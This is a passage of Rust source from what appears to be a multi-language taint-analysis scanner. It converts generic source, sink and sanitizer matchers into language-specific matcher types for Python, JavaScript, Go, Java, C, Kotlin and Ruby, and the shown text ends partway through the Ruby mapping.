use crate::rules::apex_taint;
use crate::rules::bash_taint;
use crate::rules::c_taint;
use crate::rules::common::get_source_line;
use crate::rules::csharp_taint;
use crate::rules::go_taint;
use crate::rules::java_taint;
use crate::rules::javascript_taint;
use crate::rules::kotlin_taint;
use crate::rules::php_taint;
use crate::rules::python_taint;
use crate::rules::ruby_taint;
use crate::rules::scala_taint;
use crate::rules::solidity_taint;
use crate::rules::swift_taint;
use crate::rules::{FileContext, Rule};
use crate::{Finding, Language, Severity};
use serde_yaml_ng::Value as YamlValue;
#[derive(Clone, Debug)]
enum GenericMatcher {
Attribute {
root: String,
field: String,
description: String,
},
Call {
canonical: String,
description: String,
},
ParamName {
names: Vec<String>,
description: String,
},
MethodName { method: String, description: String },
CallRegex {
regex: crate::rules::semgrep_compat::CompiledRegex,
description: String,
},
MethodNameRegex {
regex: crate::rules::semgrep_compat::CompiledRegex,
description: String,
},
ReceiverCall {
receiver: String,
description: String,
},
FieldName { field: String, description: String },
Subscript {
base: Option<String>,
description: String,
},
MemberAssign { field: String, description: String },
BinopFormat { description: String },
ObjectLiteralValue { description: String },
ReturnValue { description: String },
TypedName {
type_name: String,
description: String,
},
TypedAssignTarget {
type_name: String,
description: String,
},
LiteralString {
description: String,
regex: Option<String>,
},
LooseEquality { description: String },
TaintedCallee { description: String },
TaintedSubscriptKey {
base: Option<String>,
description: String,
},
CallArgSource {
method: String,
arg_index: usize,
description: String,
},
FirstParamSource { description: String },
DecoratedParamSource {
decorator: String,
description: String,
},
CallArgConcat { method: String, description: String },
ConstructorArgSink {
class_names: Vec<String>,
arg_index: usize,
description: String,
},
MethodArgSink {
methods: Vec<String>,
arg_index: usize,
description: String,
},
PropertyAssignSink {
property_names: Vec<String>,
description: String,
},
ReceiverProvenanceCall {
init_receiver: String,
init_method: String,
init_arg: String,
method: String,
description: String,
},
LiteralArgCall {
method: String,
arg: String,
description: String,
},
}
#[derive(Clone, Debug)]
struct GenericSpec {
sources: Vec<GenericMatcher>,
sinks: Vec<GenericMatcher>,
sanitizers: Vec<GenericMatcher>,
}
#[derive(Clone, Default)]
struct TaintNegatives {
sink: Vec<crate::rules::semgrep_compat::CompiledAstPattern>,
source: Vec<crate::rules::semgrep_compat::CompiledAstPattern>,
}
#[derive(Clone, Default)]
struct TaintInsides {
sink: Vec<crate::rules::semgrep_compat::CompiledAstPattern>,
source: Vec<crate::rules::semgrep_compat::CompiledAstPattern>,
}
fn to_python_spec(g: &GenericSpec) -> python_taint::TaintSpec {
python_taint::TaintSpec {
sources: g.sources.iter().map(to_python_matcher).collect(),
sinks: g.sinks.iter().map(to_python_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_python_matcher).collect(),
}
}
fn to_python_matcher(m: &GenericMatcher) -> python_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => python_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => python_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => python_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => python_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => python_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
python_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => python_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => python_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => python_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
python_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => python_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
python_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => python_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => python_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => python_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
python_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => python_taint::NodeMatcher::LooseEquality {
description: description.clone(),
},
GenericMatcher::TaintedCallee { description } => python_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
},
GenericMatcher::TaintedSubscriptKey { base, description } => {
python_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => python_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
python_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => python_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => python_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => python_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => python_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => python_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => python_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => python_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
fn to_js_spec(g: &GenericSpec) -> javascript_taint::TaintSpec {
javascript_taint::TaintSpec {
sources: g.sources.iter().map(to_js_matcher).collect(),
sinks: g.sinks.iter().map(to_js_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_js_matcher).collect(),
}
}
fn to_js_matcher(m: &GenericMatcher) -> javascript_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => javascript_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => javascript_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => {
javascript_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
}
}
GenericMatcher::MethodName {
method,
description,
} => javascript_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => {
javascript_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::MethodNameRegex { regex, description } => {
javascript_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => javascript_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => {
javascript_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::Subscript { base, description } => {
javascript_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::MemberAssign { field, description } => {
javascript_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => javascript_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
javascript_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => javascript_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => javascript_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => javascript_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
javascript_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => {
javascript_taint::NodeMatcher::LooseEquality {
description: description.clone(),
}
}
GenericMatcher::TaintedCallee { description } => {
javascript_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
}
}
GenericMatcher::TaintedSubscriptKey { base, description } => {
javascript_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => javascript_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
javascript_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => javascript_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => javascript_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => javascript_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => javascript_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => javascript_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => javascript_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => javascript_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
fn to_go_spec(g: &GenericSpec) -> go_taint::TaintSpec {
go_taint::TaintSpec {
sources: g.sources.iter().map(to_go_matcher).collect(),
sinks: g.sinks.iter().map(to_go_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_go_matcher).collect(),
}
}
fn to_go_matcher(m: &GenericMatcher) -> go_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => go_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => go_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => go_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => go_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => go_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
go_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => go_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => go_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => go_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
go_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => go_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
go_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => go_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => go_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => go_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
go_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => go_taint::NodeMatcher::LooseEquality {
description: description.clone(),
},
GenericMatcher::TaintedCallee { description } => go_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
},
GenericMatcher::TaintedSubscriptKey { base, description } => {
go_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => go_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
go_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => go_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => go_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => go_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => go_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => go_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => go_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => go_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
fn to_java_spec(g: &GenericSpec) -> java_taint::TaintSpec {
java_taint::TaintSpec {
sources: g.sources.iter().map(to_java_matcher).collect(),
sinks: g.sinks.iter().map(to_java_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_java_matcher).collect(),
}
}
fn to_java_matcher(m: &GenericMatcher) -> java_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => java_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => java_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => java_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => java_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => java_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
java_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => java_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => java_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => java_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
java_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => java_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
java_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => java_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => java_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => java_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
java_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => java_taint::NodeMatcher::LooseEquality {
description: description.clone(),
},
GenericMatcher::TaintedCallee { description } => java_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
},
GenericMatcher::TaintedSubscriptKey { base, description } => {
java_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => java_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
java_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => java_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => java_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => java_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => java_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => java_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => java_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => java_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
fn to_c_spec(g: &GenericSpec) -> c_taint::TaintSpec {
c_taint::TaintSpec {
sources: g.sources.iter().map(to_c_matcher).collect(),
sinks: g.sinks.iter().map(to_c_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_c_matcher).collect(),
}
}
fn to_c_matcher(m: &GenericMatcher) -> c_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => c_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => c_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => c_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => c_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => c_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
c_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => c_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => c_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => c_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => c_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::BinopFormat { description } => c_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
c_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => c_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => c_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => c_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
c_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => c_taint::NodeMatcher::LooseEquality {
description: description.clone(),
},
GenericMatcher::TaintedCallee { description } => c_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
},
GenericMatcher::TaintedSubscriptKey { base, description } => {
c_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => c_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
c_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => c_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => c_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => c_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => c_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => c_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => c_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => c_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
fn to_kotlin_spec(g: &GenericSpec) -> kotlin_taint::TaintSpec {
kotlin_taint::TaintSpec {
sources: g.sources.iter().map(to_kotlin_matcher).collect(),
sinks: g.sinks.iter().map(to_kotlin_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_kotlin_matcher).collect(),
}
}
fn to_kotlin_matcher(m: &GenericMatcher) -> kotlin_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => kotlin_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => kotlin_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => kotlin_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => kotlin_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => kotlin_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
kotlin_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => kotlin_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => kotlin_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => kotlin_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
kotlin_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => kotlin_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
kotlin_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => kotlin_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => kotlin_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => kotlin_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
kotlin_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => kotlin_taint::NodeMatcher::LooseEquality {
description: description.clone(),
},
GenericMatcher::TaintedCallee { description } => kotlin_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
},
GenericMatcher::TaintedSubscriptKey { base, description } => {
kotlin_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => kotlin_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
kotlin_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => kotlin_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => kotlin_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => kotlin_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => kotlin_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => kotlin_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => kotlin_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => kotlin_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
fn to_ruby_spec(g: &GenericSpec) -> ruby_taint::TaintSpec {
ruby_taint::TaintSpec {
sources: g.sources.iter().map(to_ruby_matcher).collect(),
sinks: g.sinks.iter().map(to_ruby_matcher).collect(),
sanitizers: g.sanitizers.iter().map(to_ruby_matcher).collect(),
}
}
fn to_ruby_matcher(m: &GenericMatcher) -> ruby_taint::NodeMatcher {
match m {
GenericMatcher::Attribute {
root,
field,
description,
} => ruby_taint::NodeMatcher::Attribute {
root: root.clone(),
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Call {
canonical,
description,
} => ruby_taint::NodeMatcher::Call {
canonical: canonical.clone(),
description: description.clone(),
},
GenericMatcher::ParamName { names, description } => ruby_taint::NodeMatcher::ParamName {
names: names.clone(),
description: description.clone(),
},
GenericMatcher::MethodName {
method,
description,
} => ruby_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => ruby_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
ruby_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => ruby_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => ruby_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
